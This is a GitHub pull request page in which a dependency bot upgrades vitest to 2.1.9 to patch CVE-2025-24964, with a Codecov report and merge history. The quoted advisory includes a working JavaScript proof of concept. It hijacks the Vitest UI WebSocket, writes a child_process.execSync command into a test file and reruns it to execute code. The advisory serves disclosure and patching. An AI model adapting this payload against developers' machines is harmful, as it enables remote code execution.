Skip to content

Update dependency vitest to v2.1.9 [SECURITY] #50

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 1 commit into from
Jul 24, 2025

Conversation

renovate[bot]
Copy link

@renovate renovate bot commented Feb 4, 2025

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 2.1.8 -> 2.1.9 age confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.


Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the Web label Feb 4, 2025
@codecov-commenter
Copy link

codecov-commenter commented Feb 4, 2025

Codecov Report

All modified and coverable lines are covered by tests ✅

Project coverage is 88.70%. Comparing base (02437da) to head (e51553e).

Additional details and impacted files
@@            Coverage Diff             @@
##             main      #50      +/-   ##
==========================================
+ Coverage   88.51%   88.70%   +0.19%     
==========================================
  Files         152       96      -56     
  Lines       20531    17158    -3373     
  Branches      294      294              
==========================================
- Hits        18173    15220    -2953     
+ Misses       2355     1935     -420     
  Partials        3        3              
Flag Coverage Δ
unittests 88.70% <ø> (+0.19%) ⬆️
unittests-ios ?
unittests-react 83.14% <ø> (ø)
unittests-rust 89.26% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 14e8b33 to aecaff3 Compare February 9, 2025 13:13
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from aecaff3 to 0305969 Compare March 3, 2025 16:42
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 5c70611 to 80a9164 Compare March 17, 2025 12:42
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 9e972e8 to ab5877e Compare April 8, 2025 13:40
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from ab5877e to e8e6ebc Compare April 24, 2025 07:25
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from e8e6ebc to 00918be Compare May 19, 2025 16:44
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from a190cd0 to 74ba588 Compare June 4, 2025 07:07
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 74ba588 to a8037f3 Compare June 22, 2025 15:35
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from a8037f3 to dd33d0a Compare July 2, 2025 18:06
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 9892b0c to 55af3ee Compare July 24, 2025 13:05
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 55af3ee to e51553e Compare July 24, 2025 13:11
@langleyd langleyd self-requested a review July 24, 2025 13:14
@langleyd langleyd merged commit a21612f into main Jul 24, 2025
6 of 7 checks passed
@langleyd langleyd deleted the renovate/npm-vitest-vulnerability branch July 24, 2025 13:15
Copy link

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants